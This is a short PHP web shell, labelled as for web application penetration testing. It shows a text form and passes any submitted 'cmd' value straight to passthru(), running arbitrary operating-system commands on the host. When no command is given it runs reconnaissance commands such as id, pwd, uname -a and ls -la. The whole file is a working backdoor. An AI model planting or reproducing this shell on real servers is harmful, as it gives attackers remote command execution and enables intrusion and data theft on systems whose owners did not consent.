php shell for wapt

<?php
echo "
<html>
    <head>
        <title>SHELL</title>
    </head>
    <body>";
echo "<form method=post>";
echo "<input type=text name=cmd size=100>";
echo "</form>";
echo "<pre>";
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) {
    $_POST['cmd']="id;pwd;uname -a;ls -la";
}
echo "".passthru($_POST['cmd'])."</pre>
    </body>
</html>";
?>